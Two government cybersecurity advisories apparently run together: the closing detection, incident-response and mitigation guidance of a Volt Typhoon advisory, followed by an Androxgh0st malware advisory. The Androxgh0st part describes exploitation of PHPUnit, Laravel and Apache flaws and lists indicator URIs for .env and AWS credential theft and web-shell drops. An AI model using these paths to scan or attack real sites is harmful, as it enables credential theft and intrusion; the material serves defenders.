• Review access logs for communication paths between IT and OT networks, looking for anomalous accesses or protocols.
• Measure the baseline of normal operations and network traffic for the industrial control system (ICS) and assess traffic anomalies for malicious activity.
• Configure intrusion detection systems (IDS) to create alarms for any ICS network traffic outside normal operations.
• Track and monitor audit trails on critical areas of ICS.
• Set up security incident and event monitoring (SIEM) to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.

Review CISA’s Recommended Cybersecurity Practices for Industrial Control Systems and the joint advisory, NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems, for further OT system detection and mitigation guidance.

Use gait to Detect Possible Network Proxy Activities

Use gait[4] to detect network proxy activities. Developed by Sandia National Labs, gait is a publicly available Zeek[5] extension. The gait extension can help enrich Zeek’s network connection monitoring and SSL logs by including additional metadata in the logs. Specifically, gait captures unique TCP options and timing data such as a TCP, transport layer security (TLS), and Secure Shell (SSH) layer inferred round trip times (RTT), aiding in the identification of the software used by both endpoints and intermediaries.

While the gait extension for Zeek is an effective tool for enriching network monitoring logs with detailed metadata, it is not specifically designed to detect Volt Typhoon actor activities. The extension’s capabilities extend to general anomaly detection in network traffic, including—but not limited to—proxying activities. Therefore, while gait can be helpful in identifying tactics similar to those used by Volt Typhoon, such as proxy networks and FRP clients for C2 communication, not all proxying activities detected by using this additional metadata are necessarily indicative of Volt Typhoon presence. It serves as a valuable augmentation to current security stacks for a broader spectrum of threat detection.

For more information, see Sandia National Lab’s gait GitHub page sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies.

Review Logins for Impossible Travel

Examine VPN or other account logon times, frequency, duration, and locations. Logons from two geographically distant locations within a short timeframe from a single user may indicate an account is being used maliciously. Logons of unusual frequency or duration may indicate a threat actor attempting to access a system repeatedly or maintain prolonged sessions for the purpose of data extraction.

Review Standard Directories for Unusual Files

Review directories, such as C:\windows\temp\ and C:\users\public\, for unexpected or unusual files. Monitor these temporary file storage directories for files typically located in standard system paths, such as the System32 directory. For example, Volt Typhoon has been observed downloading comsvcs.dll to a non-standard folder (this file is normally found in the System32 folder).

INCIDENT RESPONSE

If compromise, or potential compromise, is detected, organizations should assume full domain compromise because of Volt Typhoon’s known behavioral pattern of extracting the NTDS.dit from the DCs. Organizations should immediately implement the following immediate, defensive countermeasures:

1. Sever the enterprise network from the internet. Note: this step requires the agency to understand its internal and external connections. When making the decision to sever internet access, knowledge of connections must be combined with care to avoid disrupting critical functions.
   • If you cannot sever from the internet, shutdown all non-essential traffic between the affected enterprise network and the internet.
2. Reset credentials of privileged and non-privileged accounts within the trust boundary of each compromised account.
   • Reset passwords for all domain users and all local accounts, such as Guest, HelpAssistant, DefaultAccount, System, Administrator, and krbtgt. The krbtgt account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. The krbtgt account should be reset twice because the account has a two-password history. The first account reset for the krbtgt needs to be allowed to replicate prior to the second reset to avoid any issues. See CISA’s Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise for more information. Although tailored to FCEB agencies compromised in the 2020 SolarWinds Orion supply chain compromise, the steps are applicable to organizations with Windows AD compromise.
     • Review access policies to temporarily revoke privileges/access for affected accounts/devices. If it is necessary to not alert the attacker (e.g., for intelligence purposes), then privileges can be reduced for affected accounts/devices to “contain” them.
   • Reset the relevant account credentials or access keys if the investigation finds the threat actor’s access is limited to non-elevated permissions.
     • Monitor related accounts, especially administrative accounts, for any further signs of unauthorized access.
3. Audit all network appliance and edge device configurations with indicators of malicious activity for signs of unauthorized or malicious configuration changes. Organizations should ensure they audit the current network device running configuration and any local configurations that could be loaded at boot time. If configuration changes are identified:
   • Change all credentials being used to manage network devices, to include keys and strings used to secure network device functions (SNMP strings/user credentials, IPsec/IKE preshared keys, routing secrets, TACACS/RADIUS secrets, RSA keys/certificates, etc.).
   • Update all firmware and software to the latest version.
4. Report the compromise to an authoring agency (see the Contact Information section).
5. For organizations with cloud or hybrid environments, apply best practices for identity and credential access management. 
   • Verify that all accounts with privileged role assignments are cloud native, not synced from Active Directory.
   • Audit conditional access policies to ensure Global Administrators and other highly privileged service principals and accounts are not exempted.
   • Audit privileged role assignments to ensure adherence to the principle of least privilege when assigning privileged roles.
   • Leverage just-in-time and just-enough access mechanisms when administrators need to elevate to a privileged role.
   • In hybrid environments, ensure federated systems (such as AD FS) are configured and monitored properly.
   • Audit Enterprise Applications for recently added applications and examine the API permissions assigned to each.
6. Reconnect to the internet. Note: The decision to reconnect to the internet depends on senior leadership’s confidence in the actions taken. It is possible—depending on the environment—that new information discovered during pre-eviction and eviction steps could add additional eviction tasks.
7. Minimize and control use of remote access tools and protocols by applying best practices from joint Guide to Securing Remote Access Software and joint Cybersecurity Information Sheet: Keeping PowerShell: Security Measures to Use and Embrace.
8. Consider sharing technical information with an authoring agency and/or a sector-specific information sharing and analysis center.

For more information on incident response and remediation, see:

• Joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity. This advisory provides incident response best practices.
• CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to U.S. Federal Civilian Executive Branch (FCEB) agencies, the playbooks are applicable to all organizations. The incident response playbook provides procedures to identify, coordinate, remediate, recover, and track successful mitigations from incidents.
• Joint Water and Wastewater Sector - Incident Response Guide. This joint guide provides incident response best practices and information on federal resources for Water and Wastewater Systems Sector organizations.

MITIGATIONS

These mitigations are intended for IT administrators in critical infrastructure organizations. The authoring agencies recommend that software manufactures incorporate secure by design and default principles and tactics into their software development practices to strengthen the security posture for their customers.

For information on secure by design practices that may protect customers against common Volt Typhoon techniques, see joint guide Identifying and Mitigating Living off the Land Techniques and joint Secure by Design Alert Security Design Improvements for SOHO Device Manufacturers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of Volt Typhoon activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

IT Network Administrators and Defenders

Harden the Attack Surface

• Apply patches for internet-facing systems within a risk-informed span of time [CPG 1E]. Prioritize patching critical assets, known exploited vulnerabilities, and vulnerabilities in appliances known to be frequently exploited by Volt Typhoon (e.g., Fortinet, Ivanti, NETGEAR, Citrix, and Cisco devices).
• Apply vendor-provided or industry standard hardening guidance to strengthen software and system configurations. Note: As part of CISA’s Secure by Design campaign, CISA urges software manufacturers to prioritize secure by default configurations to eliminate the need for customer implementation of hardening guidelines.
• Maintain and regularly update an inventory of all organizational IT assets [CPG 1A].
• Use third party assessments to validate current system and network security compliance via security architecture reviews, penetration tests, bug bounties, attack surface management services, incident simulations, or table-top exercises (both announced and unannounced) [CPG 1F].
• Limit internet exposure of systems when not necessary. An organization’s primary attack surface is the combination of the exposure of all its internet-facing systems. Decrease the attack surface by not exposing systems or management interfaces to the internet when not necessary.
• Plan “end of life” for technology beyond manufacturer supported lifecycle. Inventories of organizational assets should be leveraged in patch and configuration management as noted above. Inventories will also enable identification of technology beyond the manufacturer’s supported lifecycle. Where technology is beyond “end of life” or “end of support,” additional cybersecurity vigilance is necessary, and may warrant one or more of the following:
  • Supplemental support agreements;
  • Additional scanning and testing;
  • Configuration changes;
  • Isolation;
  • Segmentation; and
  • Development of forward-looking plans to facilitate replacement.

Secure Credentials

• Do not store credentials on edge appliances/devices. Ensure edge devices do not contain accounts that could provide domain admin access.
• Do not store plaintext credentials on any system [CPG 2L]. Credentials should be stored securely—such as with a credential/password manager or vault, or other privileged account management solutions—so they can only be accessed by authenticated and authorized users.
• Change default passwords [CPG 2A] and ensure they meet the policy requirements for complexity.
• Implement and enforce an organizational system-enforced policy that:
  • Requires passwords for all IT password-protected assets to be at least 15 characters;
  • Does not allow users to reuse passwords for accounts, applications, services, etc., [CPG 2C]; and
  • Does not allow service accounts/machine accounts to reuse passwords from member user accounts.
• Configure Group Policy settings to prevent web browsers from saving passwords and disable autofill functions.
• Disable the storage of clear text passwords in LSASS memory.

Secure Accounts

• Implement phishing-resistant MFA for access to assets [CPG 2H].
• Separate user and privileged accounts.
  • User accounts should never have administrator or super-user privileges [CPG 2E].
  • Administrators should never use administrator accounts for actions and activities not associated with the administrator role (e.g., checking email, web browsing).
• Enforce the principle of least privilege.
  • Ensure administrator accounts only have the minimum permissions necessary to complete their tasks.
  • Review account permissions for default/accounts for edge appliances/devices and remove domain administrator privileges, if identified.
  • Significantly limit the number of users with elevated privileges. Implement continuous monitoring for changes in group membership, especially in privileged groups, to detect and respond to unauthorized modifications.
  • Remove accounts from high-privilege groups like Enterprise Admins and Schema Admins. Temporarily reinstate these privileges only when necessary and under strict auditing to reduce the risk of privilege abuse.
  • Transition to Group Managed Service Accounts (gMSAs) where suitable for enhanced management and security of service account credentials. gMSAs provide automated password management and simplified Service Principal Name (SPN) management, enhancing security over traditional service accounts. See Microsoft’s Group Managed Service Accounts Overview.
• Enforce strict policies via Group Policy and User Rights Assignments to limit high-privilege service accounts.
• Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources [CPG 2L]. PAM solutions can also log and alert usage to detect any unusual activity.
• Complement the PAM solution with role-based access control (RBAC) for tailored access based on job requirements. This ensures that elevated access is granted only when required and for a limited duration, minimizing the window of opportunity for abuse or exploitation of privileged credentials.
• Implement an Active Directory tiering model to segregate administrative accounts based on their access level and associated risk. This approach reduces the potential impact of a compromised account. See Microsoft’s PAM environment tier model.
• Harden administrative workstations to only permit administrative activities from workstations appropriately hardened based on the administrative tier. See Microsoft’s Why are privileged access devices important - Privileged access.
• Disable all user accounts and access to organizational resources of employees on the day of their departure [CPG 2G]
• Regularly audit all user, admin, and service accounts and remove or disable unused or unneeded accounts as applicable.
• Regularly roll NTLM hashes of accounts that support token-based authentication.
• Improve management of hybrid (cloud and on-premises) identity federation by:
  • Using cloud only administrators that are asynchronous with on-premises environments and ensuring on-premises administrators are asynchronous to the cloud.
  • Using CISA’s SCuBAGear tool to discover cloud misconfigurations in Microsoft cloud tenants. SCuBA gear is automation script for comparing Federal Civilian Executive Branch (FCEB) agency tenant configurations against CISA M365 baseline recommendations. SCuBAGear is part of CISA’s Secure Cloud Business Applications (SCuBA) project, which provides guidance for FCEB agencies, securing their cloud business application environments and protecting federal information created, accessed, shared, and stored in those environments. Although tailored to FCEB agencies, the project provides security guidance applicable to all organizations with cloud environments. For more information on SCuBAGear see CISA’s Secure Cloud Business Applications (SCuBA) Project.
  • Using endpoint detection and response capabilities to actively defend on-premises federation servers.

Secure Remote Access Services

• Limit the use of RDP and other remote desktop services. If RDP is necessary, apply best practices, including auditing the network for systems using RDP, closing unused RDP ports, and logging RDP login attempts.
• Disable Server Message Block (SMB) protocol version 1 and upgrade to version 3 (SMBv3) after mitigating existing dependencies (on existing systems or applications), as they may break when disabled.
• Harden SMBv3 by implementing guidance included in joint #StopRansomware Guide (see page 8 of the guide).
• Apply mitigations from the joint Guide to Securing Remote Access Software.

Secure Sensitive Data

• Securely store sensitive data (including operational technology documentation, network diagrams, etc.), ensuring that only authenticated and authorized users can access the data.

Implement Network Segmentation

• Ensure that sensitive accounts use their administrator credentials only on hardened, secure computers. This practice can reduce lateral movement exposure within networks.
• Conduct comprehensive trust assessments to identify business-critical trusts and apply necessary controls to prevent unauthorized cross-forest/domain traversal.
• Harden federated authentication by enabling Secure Identifier (SID) Filtering and Selective Authentication on AD trust relationships to further restrict unauthorized access across domain boundaries.
• Implement network segmentation to isolate federation servers from other systems and limit allowed traffic to systems and protocols that require access in accordance with Zero Trust principles.

Secure Cloud Assets

• Harden cloud assets in accordance with vendor-provided or industry standard hardening guidance.
  • Organizations with Microsoft cloud infrastructure, see CISA’s Microsoft 365 Security Configuration Baseline Guides, which provide minimum viable secure configuration baselines for Microsoft Defender for Office 365, Azure Active Directory (now known as Microsoft Entra ID), Exchange Online, OneDrive for Business, Power BI, Power Platform, SharePoint Online, and Teams. For additional guidance, see the Australian Signals Directorate’s Blueprint for Secure Cloud.
  • Organizations with Google cloud infrastructure, see CISA’s Google Workspace Security Configuration Baseline Guides, which provide minimum viable secure configuration baselines for Groups for Business, GMAIL, Google Calendar, Google Chat, Google Common Controls, Google Classroom, Google Drive and Docs, Google Meet, and Google Sites.
• Revoke unnecessary public access to cloud environment. This involves reviewing and restricting public endpoints and ensuring that services like storage accounts, databases, and virtual machines are not publicly accessible unless absolutely necessary. Disable legacy authentication protocols across all cloud services and platforms. Legacy protocols frequently lack support for advanced security mechanisms such as multifactor authentication, rendering them susceptible to compromises. Instead, enforce the use of modern authentication protocols that support stronger security features like MFA, token-based authentication, and adaptive authentication measures.
  • Enforce this practice through the use of Conditional Access Policies. These policies can initially be run in report-only mode to identify potential impacts and plan mitigations before fully enforcing them. This approach allows organizations to systematically control access to their cloud resources, significantly reducing the risk of unauthorized access and potential compromise.
• Regularly monitor and audit privileged cloud-based accounts, including service accounts, which are frequently abused to enable broad cloud resource access and persistence.

Be Prepared

• Ensure logging is turned on for application, access, and security logs (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and VPNs) [CPG 2T]. Given Volt Typhoon’s use of LOTL techniques and their significant dwell time, application event logs may be a valuable resource to hunt for Volt Typhoon activity because these logs typically remain on endpoints for relatively long periods of time.
  • For OT assets where logs are non-standard or not available, collect network traffic and communications between those assets and other assets.
  • Implement file integrity monitoring (FIM) tools to detect unauthorized changes.
• Store logs in a central system, such as a security information and event management (SIEM) tool or central database.
  • Ensure the logs can only be accessed or modified by authorized and authenticated users [CPG 2U].
  • Store logs for a period informed by risk or pertinent regulatory guidelines.
  • Tune log alerting to reduce noise while ensuring there are alerts for high-risk activities. (For information on alert tuning, see joint guide Identifying and Mitigating Living Off the Land Techniques.)
• Establish and continuously maintain a baseline of installed tools and software, account behavior, and network traffic. This way, network defenders can identify potential outliers, which may indicate malicious activity. Note: For information on establishing a baseline, see joint guide Identifying and Mitigating Living off the Land Techniques.
• Document a list of threats and cyber actor TTPs relevant to your organization (e.g., based on industry or sectors), and maintain the ability (such as via rules, alerting, or commercial prevention and detection systems) to detect instances of those key threats [CPG 3A].
• Implement periodic training for all employees and contractors that covers basic security concepts (such as phishing, business email compromise, basic operational security, password security, etc.), as well as fostering an internal culture of security and cyber awareness [CPG 2I].
  • Tailor the training to network IT personnel/administrators and other key staff based on relevant organizational cyber threats and TTPs, such as Volt Typhoon. For example, communicate that Volt Typhoon actors are known to target personal email accounts of IT staff, and encourage staff to protect their personal email accounts by using strong passwords and implementing MFA.
  • In addition to basic cybersecurity training, ensure personnel who maintain or secure OT as part of their regular duties receive OT-specific cybersecurity training on at least an annual basis [CPG 2J].
  • Educate users about the risks associated with storing unprotected passwords.

OT Administrators and Defenders

• Change default passwords [CPG 2A] and ensure they meet the policy requirements for complexity. If the asset’s password cannot be changed, implement compensating controls for the device; for example, segment the device into separate enclaves and implement increased monitoring and logging.
• Require that passwords for all OT password-protected assets be at least 15 characters, when technically feasible. In instances where minimum passwords lengths are not technically feasible (for example, assets in remote locations), apply compensating controls, record the controls, and log all login attempts. [CPG 2B].
• Enforce strict access policies for accessing OT networks. Develop strict operating procedures for OT operators that details secure configuration and usage.
• Segment OT assets from IT environments by [CPG 2F]:
  • Denying all connections to the OT network by default unless explicitly allowed (e.g., by IP address and port) for specific system functionality.
  • Requiring necessary communications paths between IT and OT networks to pass through an intermediary, such as a properly configured firewall, bastion host, “jump box,” or a demilitarized zone (DMZ), which is closely monitored, captures network logs, and only allows connections from approved assets.
• Closely monitor all connections into OT networks for misuse, anomalous activity, or OT protocols.
• Monitor for unauthorized controller change attempts. Implement integrity checks of controller process logic against a known good baseline. Ensure process controllers are prevented from remaining in remote program mode while in operation if possible.
• Lock or limit set points in control processes to reduce the consequences of unauthorized controller access.
• Be prepared by:
  • Determining your critical operational processes’ reliance on key IT infrastructure:
    • Maintain and regularly update an inventory of all organizational OT assets.
    • Understand and evaluate cyber risk on “as-operated” OT assets.
    • Create an accurate “as-operated” OT network map and identify OT and IT network inter-dependencies.
  • Identifying a resilience plan that addresses how to operate if you lose access to or control of the IT and/or OT environment.
    • Plan for how to continue operations if a control system is malfunctioning, inoperative, or actively acting contrary to the safe and reliable operation of the process.
    • Develop workarounds or manual controls to ensure ICS networks can be isolated if the connection to a compromised IT environment creates risk to the safe and reliable operation of OT processes.
  • Create and regularly exercise an incident response plan.
    • Regularly test manual controls so that critical functions can be kept running if OT networks need to be taken offline.
  • Implement regular data backup procedures on OT networks.
    • Regularly test backup procedures.
• Follow risk-informed guidance in the joint advisory NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems, the NSA advisory Stop Malicious Cyber Activity Against Connected Operational Technology.

CONTACT INFORMATION

US organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact:

• CISA’s 24/7 Operations Center at Report@cisa.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov.
• Water and Wastewater Systems Sector organizations, contact the EPA Water Infrastructure and Cyber Resilience Division at watercyberta@epa.gov to voluntarily provide situational awareness.
• Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
• For transportation entities regulated by TSA, report to CISA Central in accordance with the requirements found in applicable Security Directives, Security Programs, or TSA Order.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 5 through Table 17).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REFERENCES

[1] fofa
[2] Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques
[3] GitHub - fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet
[4] GitHub - sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies
[5] The Zeek Network Security Monitor

RESOURCES

Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques
Secureworks: Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.

ACKNOWLEDGEMENTS

Fortinet and Microsoft contributed to this advisory.

VERSION HISTORY

February 7, 2024: Initial Version.
March 7, 2024: Updated Mitigations section to add recommendation on “end of life” technology.

APPENDIX A: VOLT TYPHOON OBSERVED COMMANDS / LOTL ACTIVITY

See Table 2 and Table 3 for Volt Typhoon commands and PowerShell scripts observed by the U.S. authoring agencies during incident response activities. For additional commands used by Volt Typhoon, see joint advisory People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection.

APPENDIX B: INDICATORS OF COMPROMISE

See Table 4 for Volt Typhoon IOCs obtained by the U.S. authoring agencies during incident response activities.

Note: See MAR-10448362-1.v1 for more information on this malware.

APPENDIX C: MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 5 through Table 17 for all referenced threat actor tactics and techniques in this advisory.

SUMMARY

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to disseminate known indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with threat actors deploying Androxgh0st malware. Multiple, ongoing investigations and trusted third party reporting yielded the IOCs and TTPs, and provided information on Androxgh0st malware’s ability to establish a botnet that can further identify and compromise vulnerable networks.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents caused by Androxgh0st infections.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK^® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

Androxgh0st malware has been observed establishing a botnet [T1583.005] for victim identification and exploitation in target networks. According to open source reporting[1], Androxgh0st is a Python-scripted malware [T1059.006] primarily used to target .env files that contain confidential information, such as credentials [T1552.001] for various high profile applications (i.e., Amazon Web Services [AWS], Microsoft Office 365, SendGrid, and Twilio from the Laravel web application framework). Androxgh0st malware also supports numerous functions capable of abusing the Simple Mail Transfer Protocol (SMTP), such as scanning [T1046] and exploiting exposed credentials [T1078] and application programming interfaces (APIs) [T1114], and web shell deployment [T1505.003].

Targeting the PHPUnit

Androxgh0st malware TTPs commonly involves the use of scripts, conducting scanning [T1595] and searching for websites with specific vulnerabilities. In particular, threat actors deploying Androxgh0st have been observed exploiting CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on fallible websites via PHPUnit [T1190]. Websites using the PHPUnit module that have internet-accessible (exposed) /vendor folders are subject to malicious HTTP POST requests to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php uniform resource identifier (URI). This PHP page runs PHP code submitted through a POST request, which allows the threat actors to remotely execute code.

Malicious actors likely use Androxgh0st to download malicious files [T1105] to the system hosting the website. Threat actors are further able to set up a fake (illegitimate) page accessible via the URI to provide backdoor access to the website. This allows threat actors to download additional malicious files for their operations and access databases.

Laravel Framework Targeting

Androxgh0st malware establishes a botnet to scan for websites using the Laravel web application framework. After identifying websites using the Laravel web application, threat actors attempt to determine if the domain’s root-level .env file is exposed and contains credentials for accessing additional services. Note: .env files commonly store credentials and tokens. Threat actors often target .env files to steal these credentials within the environment variables.

If the .env file is exposed, threat actors will issue a GET request to the /.env URI to attempt to access the data on the page. Alternatively, Androxgh0st may issue a POST request to the same URI with a POST variable named 0x[] containing certain data sent to the web server. This data is frequently used as an identifier for the threat actor. This method appears to be used for websites in debug mode (i.e., when non-production websites are exposed to the internet). A successful response from either of these methods allows the threat actors to look for usernames, passwords, and/or other credentials pertaining to services such as email (via SMTP) and AWS accounts.

Androxgh0st malware can also access the application key [TA0006] for the Laravel application on the website. If the threat actors successfully identify the Laravel application key, they will attempt exploitation by using the key to encrypt PHP code [T1027.010]. The encrypted code is then passed to the website as a value in the cross-site forgery request (XSRF) token cookie, XSRF-TOKEN, and included in a future GET request to the website. The vulnerability defined in CVE-2018-15133 indicates that on Laravel applications, XSRF token values are subject to an un-serialized call, which can allow for remote code execution. In doing so, the threat actors can upload files to the website via remote access.

Apache Web Server Targeting

In correlation with CVE-2021-41773, Androxgh0st actors have been observed scanning vulnerable web servers [T1595.002] running Apache HTTP Server versions 2.4.49 or 2.4.50. Threat actors can identify uniform resource locators (URLs) for files outside root directory through a path traversal attack [T1083]. If these files are not protected by the “request all denied” configuration and Common Gateway Interface (CGI) scripts are enabled, this may allow for remote code execution.

If threat actors obtain credentials for any services using the above methods, they may use these credentials to access sensitive data or use these services to conduct additional malicious operations. For example, when threat actors successfully identify and compromise AWS credentials from a vulnerable website, they have been observed attempting to create new users and user policies [T1136]. Additionally, Andoxgh0st actors have been observed creating new AWS instances to use for conducting additional scanning activity [T1583.006].

INDICATORS OF COMPROMISE (IOCs)

Based on investigations and analysis, the following requests are associated with Androxgh0st activity:

• Incoming GET and POST requests to the following URIs:
  • /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  • /.env
• Incoming POST requests with the following strings:
  • [0x%5B%5D=androxgh0st]
  • ImmutableMultiDict([('0x[]', 'androxgh0st')])

In both previously listed POST request strings, the name androxgh0st has been observed to be replaced with other monikers.

Additional URIs observed by the FBI and a trusted third party used by these threat actors for credential exfiltration include:

• /info
• /phpinfo
• /phpinfo.php
• /?phpinfo=1
• /frontend_dev.php/$
• /_profiler/phpinfo
• /debug/default/view?panel=config
• /config.json
• /.json
• /.git/config
• /live_env
• /.env.dist
• /.env.save
• /environments/.env.production
• /.env.production.local
• /.env.project
• /.env.development
• /.env.production
• /.env.prod
• /.env.development.local
• /.env.old
• /<insert-directory>/.env 
  • Note: the actor may attempt multiple different potential URI endpoints scanning for the .env file, for example /docker/.env or /local/.env.
• /.aws/credentials
• /aws/credentials
• /.aws/config
• /.git
• /.test
• /admin
• /backend
• /app
• /current
• /demo
• /api
• /backup
• /beta
• /cron
• /develop
• /Laravel
• /laravel/core
• /gists/cache
• /test.php
• /info.php
• //.env
• /admin-app/.env%20
• /laravel/.env%20
• /shared/.env%20
• /.env.project%20
• /apps/.env%20
• /development/.env%20
• /live_env%20
• /.env.development%20

Targeted URIs for web-shell drop:

• /.env/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
• //lib/phpunit/src/Util/PHP/eval-stdin.php
• //lib/phpunit/Util/PHP/eval-stdin.php
• //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //phpunit/phpunit/Util/PHP/eval-stdin.php
• //phpunit/src/Util/PHP/eval-stdin.php
• //phpunit/Util/PHP/eval-stdin.php
• //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/evalstdin.php
• //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
• //vendor/phpunit/src/Util/PHP/eval-stdin.php
• //vendor/phpunit/Util/PHP/eval-stdin.php
• //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php
• /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /api/vendor/phpunit/phpunit/src/Util/PHP/Template/eval-stdin.php
• /lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /laravelao/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/phpunit/Util/PHP/eval-stdin.php
• /lib/phpunit/phpunit/Util/PHP/eval
• stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/Util/PHP/eval-stdin.php
• /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /phpunit/phpunit/Util/PHP/eval-stdin.php
• /phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/evalstdin.php
• /phpunit/src/Util/PHP/eval-stdin.php
• ./phpunit/Util/PHP/eval-stdin.php
